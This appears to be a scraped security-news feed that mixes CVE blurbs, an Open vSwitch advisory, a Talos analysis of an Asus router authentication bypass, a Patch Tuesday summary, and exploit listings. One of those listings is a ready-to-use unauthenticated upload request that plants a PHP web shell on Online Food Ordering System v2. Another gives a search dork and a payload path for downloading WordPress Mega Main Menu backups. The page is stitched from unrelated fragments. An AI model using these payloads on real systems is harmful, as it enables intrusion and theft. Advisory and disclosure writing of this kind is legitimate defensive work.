Event Tracing for Windows Information Disclosure Vulnerability. This CVE ID is unique from CVE-2023-21753.

CVE-2023-21536

Windows GDI Elevation of Privilege Vulnerability. This CVE ID is unique from CVE-2023-21532.

CVE-2023-21552

An out-of-bounds read in Organization Specific TLV was found in various versions of OpenvSwitch.

*   Products
    *   Openwall GNU/\*/Linux   _server OS_
    *   Linux Kernel Runtime Guard
    *   John the Ripper   _password cracker_
        *   Free & Open Source for any platform
        *   in the cloud
        *   Pro for Linux
        *   Pro for macOS
    *   Wordlists   _for password cracking_
    *   passwdqc   _policy enforcement_
        *   Free & Open Source for Unix
        *   Pro for Windows (Active Directory)
    *   yescrypt   _KDF & password hashing_
    *   yespower   _Proof-of-Work (PoW)_
    *   crypt\_blowfish   _password hashing_
    *   phpass   _ditto in PHP_
    *   tcb   _better password shadowing_
    *   Pluggable Authentication Modules
    *   scanlogd   _port scan detector_
    *   popa3d   _tiny POP3 daemon_
    *   blists   _web interface to mailing lists_
    *   msulogin   _single user mode login_
    *   php\_mt\_seed   _mt\_rand() cracker_
*   Services
*   Publications
    *   Articles
    *   Presentations
*   Resources
    *   Mailing lists
    *   Community wiki
    *   Source code repositories (GitHub)
    *   Source code repositories (CVSweb)
    *   File archive & mirrors
    *   How to verify digital signatures
    *   OVE IDs
*   What's new

\[<prev\] \[next>\] \[<thread-prev\] \[day\] \[month\] \[year\] \[list\]

Date: Wed, 21 Dec 2022 12:10:03 +0100
From: Ilya Maximets <i.maximets@....org>
To: oss-security@...ts.openwall.com, ovs-announce@...nvswitch.org,
 ovs-discuss <ovs-discuss@...nvswitch.org>
Cc: i.maximets@....org, Aaron Conole <aconole@...hat.com>,
 Qian Chen <cq674350529@...il.com>, John Helmert III <ajak@...too.org>
Subject: Re: \[ADVISORY\] LLDP underflow while parsing malformed Auto Attach TLV
 (Open vSwitch)

On 12/20/22 22:39, Ilya Maximets wrote:
> Description
> ===========
> 
> Multiple versions of Open vSwitch are vulnerable to crafted LLDP
> packets causing denial of service, and data underflow attacks.
> Triggering the vulnerabilities requires LLDP processing to be enabled
> for a specific port.  Open vSwitch versions prior to 2.4.0 are not
> vulnerable.
> 
> The Common Vulnerabilities and Exposures project (cve.mitre.org)
> did not assign the identifier to this issue yet.  The identifier will
> be communicated separately.

Following CVE identifiers have been allocated for the issue (one per
TLV type since they can have a slightly different effect):

 - CVE-2022-4337 for Out-of-Bounds Read in Organization Specific TLV
 - CVE-2022-4338 for Integer Underflow in Organization Specific TLV

The fix referenced in this advisory covers both issues.

> This issue does not affect the \`lldpd'
> project, although they share a code base.  The issue is related to
> parsing the Auto Attach TLVs, which is specific to the Open vSwitch
> implementation.
> 
> 
> Mitigation
> ==========
> 
> For any version of Open vSwitch, preventing LLDP packets from reaching
> Open vSwitch mitigates the vulnerability.  We do not recommend
> attempting to mitigate the vulnerability this way because of the
> following difficulties:
> 
>     - Open vSwitch obtains packets before the iptables host firewall,
>       so ebtables on the Open vSwitch host cannot ordinarily block the
>       vulnerability.
> 
>     - If Open vSwitch is configured to receive and transmit LLDP
>       messages, the required functionality will need to be disabled
>       potentially disrupting the network.
> 
> We have found that Open vSwitch is subject to a denial of service, and
> possibly a remote code execution exploit when LLDP processing is enabled
> on an interface.  By default, interfaces are not configured to process
> LLDP messages.
> 
> 
> Fix
> ===
> 
> Patches to fix these vulnerabilities in Open vSwitch 2.13.x and newer are
> applied to the appropriate branches, and the original patch is located
> at:
> 
>    https://mail.openvswitch.org/pipermail/ovs-dev/2022-December/400596.html
> 
> Recommendation
> ==============
> 
> We recommend that users of Open vSwitch apply the respective patch, or
> upgrade to a known patched version of Open vSwitch.  These include:
> 
> \* 3.0.3
> \* 2.17.5
> \* 2.16.6
> \* 2.15.7
> \* 2.14.8
> \* 2.13.10
> 
> 
> Acknowledgments
> ===============
> 
> The Open vSwitch team wishes to thank the reporter:
> 
>   Qian Chen <cq674350529@...il.com>
> 

**Download attachment "**OpenPGP\_0xB9F7EC77C829BF96.asc**" of type "**application/pgp-keys**" (4740 bytes)**

**Download attachment "**OpenPGP\_signature**" of type "**application/pgp-signature**" (841 bytes)**

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.

CVE-2022-4337: security - Re: [ADVISORY] LLDP underflow while parsing malformed Auto Attach TLV (Open vSwitch)

An authentication bypass vulnerability exists in the get_IFTTTTtoken.cgi functionality of Asus RT-AX82U 3.0.0.4.386_49674-ge182230. A specially-crafted HTTP request can lead to full administrative access to the device. An attacker would need to send a series of HTTP requests to exploit this vulnerability.

**SUMMARY**

An authentication bypass vulnerability exists in the get\_IFTTTTtoken.cgi functionality of Asus RT-AX82U 3.0.0.4.386\_49674-ge182230. A specially-crafted HTTP request can lead to full administrative access to the device. An attacker would need to send a series of HTTP requests to exploit this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Asus RT-AX82U 3.0.0.4.386\_49674-ge182230

**PRODUCT URLS**

RT-AX82U - https://www.asus.com/us/Networking-IoT-Servers/WiFi-Routers/ASUS-Gaming-Routers/RT-AX82U/

**CVSSv3 SCORE**

9.0 - CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

**CWE**

CWE-324 - Use of a Key Past its Expiration Date

**DETAILS**

The Asus RT-AX82U router is one of the newer Wi-Fi 6 (802.11ax)-enabled routers that also supports mesh networking with other Asus routers. Like basically every other router, it is configurable via a HTTP server running on the local network. However, it can also be configured to support remote administration and monitoring in a more IOT style.

In order to enable remote management and monitoring of our Asus Router, so that it behaves just like any other IoT device, there are a couple of settings changes that need to be made. First we must enable WAN access for the HTTPS server (or else nothing could manage the router), and then we must generate an access code to link our device with either Amazon Alexa or IFTTT. These options can all be found internally at http://router.asus.com/Advanced_Smart_Home_Alexa.asp.

As a high level overview, upon receiving this code, the remote website will connect to your router at the get_IFTTTtoken.cgi web page and provide a shortToken HTTP query parameter. Assuming this token is received within 2 minutes of the aforementioned access code being generated, and also assuming this token matches what’s in the router’s nvram, the router will respond back with an ifttt_token that grants full administrative capabilities to the device, just like the normal token used after logging into the device via the HTTP server.

    0002863c  int32_t do_get_IFTTTToken_cgi(int32_t arg1, FILE* arg2)
    00028660      char* r0 = get_UA_Type(inpstr: &user_agent)                 // [1]
    00028668      char* r0_2
    00028668      if (r0 != 4)   // asusrouter-Windows-IFTTT-1.0
    000286b0          r0_2 = get_UA_Type(inpstr: &user_agent)
    
    // [...]
    000286cc      void var_30
    000286cc      memset(&var_30, 0, 0x20)
    000286d8      char* r0_4 = check_if_queryitem_exists("shortToken")        // [2]
    000286e0      if (r0_4 == 0)
    000286e4          r0_4 = &nullptr
    
    000286ec      int32_t r0_5 = gen_IFTTTtoken(token: r0_4, outbuf: &var_30) // [3]
    
    00028700      fputs(str: &(*"\tif (disk_num == %d) {\n")[0x15], fp: arg2)
    00028708      fflush(fp: arg2)
    0002871c      fprintf(stream: arg2, format: ""ifttt_token":"%s",\n", &var_30) // [4]
    00028724      fflush(fp: arg2)
    00028738      fprintf(stream: arg2, format: ""error_status":"%d"\n", r0_5)
    00028740      fflush(fp: arg2)
    00028750      fputs(str: &data_81196, fp: arg2)
    00028760      return fflush(fp: arg2)
    

At \[1\], the function pulls out the “User-Agent” header of our HTTP GET request and checks to see if it starts with “asusrouter”. It also checks if the text after the second dash is either “IFTTT” or “Alexa”. In either of those cases, it returns 4 or 5, and we’re allowed to proceed in the code path. At \[2\], the function pulls out the shortToken query parameter from our HTTP GET request and passes that into the gen_IFTTTtoken function at \[3\]. Assuming there is a match, gen_IFTTTtoken will output the ifttt_token authentication buffer to var_30, which is then sent back to the HTTP sender at \[4\]. Looking at gen_IFTTTtoken:

    0007b5c8  int32_t gen_IFTTTtoken(char* token, uint8_t* outbuf)
    
    0007b5d4      int32_t r0 = uptime()
    0007b5fc      memset(&ifttt_token_copy, 0, 0x20)
    0007b614      int32_t r0_8
    0007b614      int32_t arg3
    0007b614      int32_t arg4
    0007b614      if (r0 - nvram_get_int("ifttt_timestamp") s> 120)       // [5]
    0007b6ec          if (isFileExist("/tmp/IFTTT_ALEXA") s> 0)
    0007b710              Debug2File("/tmp/IFTTT_ALEXA.log", "[%s:(%d)][HTTPD] short token timeout\n", "gen_IFTTTtoken", 0x3ff, token, outbuf, arg3, arg4)
    0007b714          r0_8 = 1
    0007b630      else if (nvram_get_and_cmp("ifttt_stoken", token) == 0) // [6]
    0007b72c          if (isFileExist("/tmp/IFTTT_ALEXA") s> 0)
    0007b760              Debug2File("/tmp/IFTTT_ALEXA.log", "[%s:(%d)][HTTPD] short token is not the same: endp…", "gen_IFTTTtoken", 0x402, token, p2_nvram_get(item: "ifttt_stoken"), arg3, arg4)
    0007b764          r0_8 = 2
    0007b64c      else if (get_UA_Type(inpstr: &user_agent) != 4)
    0007b77c          if (isFileExist("/tmp/IFTTT_ALEXA") s> 0)
    0007b7a0              Debug2File("/tmp/IFTTT_ALEXA.log", "[%s:(%d)][HTTPD] user_agent not from IFTTT/ALEXA\n", "gen_IFTTTtoken", 0x405, token, outbuf, arg3, 0xf1430)
    0007b7a4          r0_8 = 3
    0007b668      else
    0007b668          int32_t r2
    0007b668          uint8_t* r3
    0007b668          r2, r3 = nvram_set("skill_act_code", p2_nvram_get(item: "skill_act_code_t"))
    0007b674          generate_asus_token(dst: &ifttt_token_copy, len: 0x20, r2, readsrc: r3)     // [7]
    0007b684          strlcpy(dst: outbuf, src: &ifttt_token_copy, len: 0x20)
    0007b694          nvram_set("ifttt_token", &ifttt_token_copy)
    0007b698          nvram_commit()
    0007b6ac          if (isFileExist("/tmp/IFTTT_ALEXA") s> 0)
    0007b6d0              Debug2File("/tmp/IFTTT_ALEXA.log", "[%s:(%d)][HTTPD] get IFTTT long token success\n", "gen_IFTTTtoken", 0x408, token, outbuf, arg3, 0xf1430)
    0007b6d4          r0_8 = 0
    0007b7ac      return r0_8
    

Right at the beginning there is a check \[5\] to see if the uptime of the device is more than two minutes after the ifttt_stoken has been generated. Assuming we are within that timeframe, the ifttt_stoken nvram item is grabbed and compared with our shortToken at \[6\]. If there’s a match, we end up hitting the code branch around \[7\], where the device generates a new ifttt_token and copies it to the output buffer on the next line of code. As a reminder, this token grants the same admin access as the normal HTTP login token.

While nothing really seems out of place at the moment, let’s take a look over at the code which actually generates the ifttt_stoken:

    00074210  uint8_t* do_ifttt_token_generation(uint8_t* output)
    // [...]
    000742c0      char ifttt_token[0x80]
    000742c0      memset(&ifttt_token, 0, 0x80)
    000742d0      char timestamp[0x80]
    000742d0      memset(&timestamp, 0, 0x80)
    000742e0      char rbinstr[0x8]
    000742e0      rbinstr[0].d = 0
    000742e8      int32_t* randbinstrptr = &rbinstr
    000742f4      rbinstr[4].d = 0
    00074308      srand(x: time(timer: nullptr))
    0007431c      // takes the remainder...
    00074324      int_to_binstr(inp: __aeabi_idivmod(rand(), 0xff), cpydst: randbinstrptr, len: 7)              // [8]
    // [...]
    00074608      snprintf(s: &ifttt_token, maxlen: 0x80, format: &percent_o, binary_str_to_int(randbinstrptr)) // [9]
    0007461c      nvram_set("ifttt_stoken", &ifttt_token)
    00074638      snprintf(s: &timestamp, maxlen: 0x80, format: &percentld, uptime())                           // [10]
    00074648      nvram_set("ifttt_timestamp", &timestamp)
    00074658      strlcpy(dst: output, src: &skill_act_code, len: 0x48)
    0007465c      nvram_commit()
    0007466c      return output
    

With the unimportant code cut out, we are left with a somewhat clear view of the generation process. At \[8\] a random number is generated that is then moded against 0xFF. This number is then transformed into a binary string of length 8 (e.g. ‘00101011’). A lot further down at \[9\], this randbinstrptr is converted back to an integer and fed into a call to snprintf(&ifttt_token, 0x80, "%o", ...), which generates the octal version of our original number. With this in mind, we can clearly see that the keyspace for the ifttt_stoken is only 255 possibilities, which makes brute forcing the ifttt_stoken a trivial matter. While normally this would not be a problem, since the ifttt_stoken can only be used for two minutes after generation, we can see a flaw in this scheme if we take a look at the ifttt_timestamp’s creation. At \[10\] we can clearly see that it is the uptime() of the device in seconds (which is taken from sysinfo()). If we recall the actual check from before:

    0007b5d4      int32_t r0 = uptime()
    // [...]
    0007b614      if (r0 - nvram_get_int("ifttt_timestamp") s> 120)
    // [...]
    0007b630      else if (nvram_get_and_cmp("ifttt_stoken", token) == 0)
    

We can see that the current uptime is used against the uptime of the generated token. Unfortunately for the device, uptime starts from when the device was booted, so if the device ever restarts or reboots for any reason, the ifttt_stoken suddenly becomes valid again since the current uptime will most likely be less than the uptime() call at the point of ifttt_stoken generation. Neither the ifttt_timestamp or the ifttt_stoken are ever cleared from nvram, even if the Amazon Alexa and IFTTT setting are disabled, and so the device will remain vulnerable from the moment of first generation of the configuration.

**TIMELINE**

2022-08-01 - Initial Vendor Contact  
2022-08-09 - Vendor Disclosure  
2022-11-16 - Vendor Patch Release  
2023-01-10 - Public Release

Discovered by Lilith >\_> of Cisco Talos.

CVE-2022-35401: TALOS-2022-1586 || Cisco Talos Intelligence Group

Inappropriate implementation in in Permission prompts in Google Chrome on Windows prior to 109.0.5414.74 allowed a remote attacker to force acceptance of a permission prompt via a crafted HTML page. (Chromium security severity: Medium)

CVE-2023-0132

Inappropriate implementation in in File System API in Google Chrome on Windows prior to 109.0.5414.74 allowed a remote attacker to bypass file system restrictions via a crafted HTML page. (Chromium security severity: Low)

CVE-2023-0140

Microsoft released its monthly security update on Tuesday, disclosing 101 vulnerabilities. Of these vulnerabilities, 11 are classified as “Critical”, 89 are classified as “Important”, no vulnerability classified as “Moderate.”

Tuesday, January 10, 2023 14:01

Microsoft released its monthly security update on Tuesday, disclosing 98 vulnerabilities. Of these vulnerabilities, 11 are classified as “Critical”, 87 are classified as “Important”, no vulnerability classified as “Moderate.”

According to Microsoft all “Critical“ vulnerability are either less likely or unlikely to be exploited, except of the security bypass vulnerability CVE-2023-21743 on Microsoft SharePoint Server machines. This vulnerability has a low complexity and can be easily triggered by an attacker. In a network-based attack, an unauthenticated user could make an anonymous connection to the targeted SharePoint server.

Two of the “Critical“ vulnerabilities, which Microsoft considers to be “less likely” to be exploited due to their complexity are CVE-2023-21535 and CVE-2023-21548. These are remote code execution (RCE) vulnerability in the Windows Secure Socket Tunneling Protocol (SSTP) which allow an unauthenticated attacker to send a specially crafted connection request to a RAS server, which could lead to remote code execution (RCE) on the RAS server and run unauthorized commands on the compromised system.

There are also five “Critical“ Remote Code Execution Vulnerability which affect the Windows Layer 2 Tunneling Protocol (L2TP). Successful exploitation could allow an unauthenticated attacker to execute code on RAS servers. These five vulnerabilities are CVE-2023-21543, CVE-2023-21546, CVE-2023-21555, CVE-2023-21556 and CVE-2023-21679.

The last “Critical“ vulnerability which we want to mention is CVE-2023-21730. It is a Remote Code Execution Vulnerability in the Windows Cryptographic Services. Microsoft did not released many details about the vulnerability, except that it is triggered from the network and of low complexity.

Developers are also at risk due to CVE-2023-21779 a Remote Code Execution vulnerability in Visual Studio Code flagged as “Important“. The user would have be enticed to open a malicious file in vscode. Users should never open anything that they do not know or trust to be safe.

Talos would also like to highlight 6 “Important“ vulnerabilities that Microsoft considers “more likely” to be exploited and can be used for privilege elevation.

*   CVE-2023-21532 Windows GDI Elevation of Privilege Vulnerability 
*   CVE-2023-21541 Windows Task Scheduler Elevation of Privilege Vulnerability 
*   CVE-2023-21552 Windows GDI Elevation of Privilege Vulnerability 
*   CVE-2023-21725 Microsoft Windows Defender Elevation of Privilege Vulnerability
*   CVE-2023-21726 Windows Credential Manager User Interface Elevation of Privilege Vulnerability
*   CVE-2023-21768 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability

There are more vulnerabilities marked as “Important“ in the Microsoft advisory. This includes Microsoft Office and 3D Builder applications, a Microsoft ODBC Driver and others. A complete list of all the vulnerabilities Microsoft disclosed this month is available on its update page.

In response to these vulnerability disclosures, Talos is releasing a new Snort rule set that detects attempts to exploit some of them. Please note that additional rules may be released at a future date and current rules are subject to change pending additional information. Cisco Secure Firewall customers should use the latest update to their ruleset by updating their SRU. Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.

The rules included in this release that protect against the exploitation of many of these vulnerabilities are 61060-61065. For Snort 3, the following rules are also available to protect against these vulnerabilities: 300358-300360.

Microsoft Patch Tuesday for January 2023  — Snort rules and prominent vulnerabilities

72crm v9 was discovered to contain an arbitrary file upload vulnerability via the avatar upload function. This vulnerability allows attackers to execute arbitrary code via a crafted PHP file.

****Brief of this vulnerability****

72crm v9 has Arbitrary file upload vulnerability Where to upload the avatar

****Test Environment****

*   Windows10
*   PHP 5.6.9+Apache/2.4.39

****Affect version****

72crm v9

****Vulnerable Code****

application\\admin\\controller\\Users.php line 259  
  
After follow-up, it was found that the validate was not set, and the move operation was performed directly, resulting in the ability to upload any file  
  
follow-up move function（set filename）  
line 352:  
  
follow up function  
Generate time-based file names with php as a suffix  
  
then move\_uploaded\_file with this filename （thinkphp\\library\\think\\File.php line 369）  

****Vulnerability display****

First enter the background  
Click as shown,go to the Enterprise management background  
  
Click to change avatar  
  
Capture the packet and modify the content as follows  
  
Although it is judged as an illegal file, the file has been uploaded successfully, and the file path will be exposed when the debug mode is turned on  
  
  
getshell  
  
note：  
Even if debug is not turned on, the file name can be blasted out through the file name naming rules

CVE-2022-46610: 72crm v9 has Arbitrary file upload vulnerability in the avatar upload · Issue #36 · 72wukong/72crm-9.0-PHP

Online Food Ordering System version 2.0 suffers from a remote shell upload vulnerability.

# Exploit Title: Online Food Ordering System v2 - Remote Code Execution (RCE) (Unauthenticated)  
# Date: 01/10/2023  
# Exploit Author: Hakan Sonay  
# Vendor Homepage: https://www.sourcecodester.com/php/16022/online-food-ordering-system-v2-using-php8-and-mysql-free-source-code.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=16022&title=Online+Food+Ordering+System+v2+using+PHP8+and+MySQL+Free+Source+Code  
# Version: 2.0   
# Tested on: Windows 10 / XAMPP

############## Unauthenticated File Upload Request ##############

POST /fos/admin/ajax.php?action=save_settings HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0  
Accept: */*  
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
X-Requested-With: XMLHttpRequest  
Content-Type: multipart/form-data; boundary=---------------------------19276025152284567381240485635  
Content-Length: 831  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/fos/admin/index.php?page=site_settings  
Sec-Fetch-Dest: empty  
Sec-Fetch-Mode: cors  
Sec-Fetch-Site: same-origin

-----------------------------19276025152284567381240485635  
Content-Disposition: form-data; name="name"

Online Food Ordering System V2  
-----------------------------19276025152284567381240485635  
Content-Disposition: form-data; name="email"

info@sample.com  
-----------------------------19276025152284567381240485635  
Content-Disposition: form-data; name="contact"

+6948 8542 623  
-----------------------------19276025152284567381240485635  
Content-Disposition: form-data; name="about"

<p>shell command:</p><p>/assets/img/<file_name>.php?cmd=whoami</p>  
-----------------------------19276025152284567381240485635  
Content-Disposition: form-data; name="img"; filename="rev_shell.php"  
Content-Type: text/php

<?php   
echo system($_GET['cmd']);  
?>

-----------------------------19276025152284567381240485635--

############## Command Execution Request ##############

http://localhost/fos/assets/img/****rev_shell.php?cmd=[Payload]

Online Food Ordering System 2.0 Shell Upload

WordPress Mega Main Menu plugin version 2.2.2 suffers from a backup disclosure vulnerability.

    ====================================================================================================================================| # Title     : WordPress Menu Plugin - Mega Main Menu v2.2.2 unauthorized backup download Vulnerability                           || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 108.0.2(32-bit)                                            | | # Vendor    : https://codecanyon.net/item/mega-main-menu-wordpress-menu-plugin/6135125                                           |  | # Dork      : "/wp-content/plugins/mega_main_menu/"                                                                              |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] The Vulnerability does not allow you to download a copy of the site's database, but rather a backup copy of the plugin's settings file.[+] Use payload : /wp-admin/?mmm_page=backup_file [+] https://127.0.0.1/lazarolacom/testeo/wp-admin/?mmm_page=backup_fileGreetings to :=========================================================================================================================                                                                                                                                      |jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm*                                            |                                                                                                                                              |=======================================================================================================================================

Tag

#windows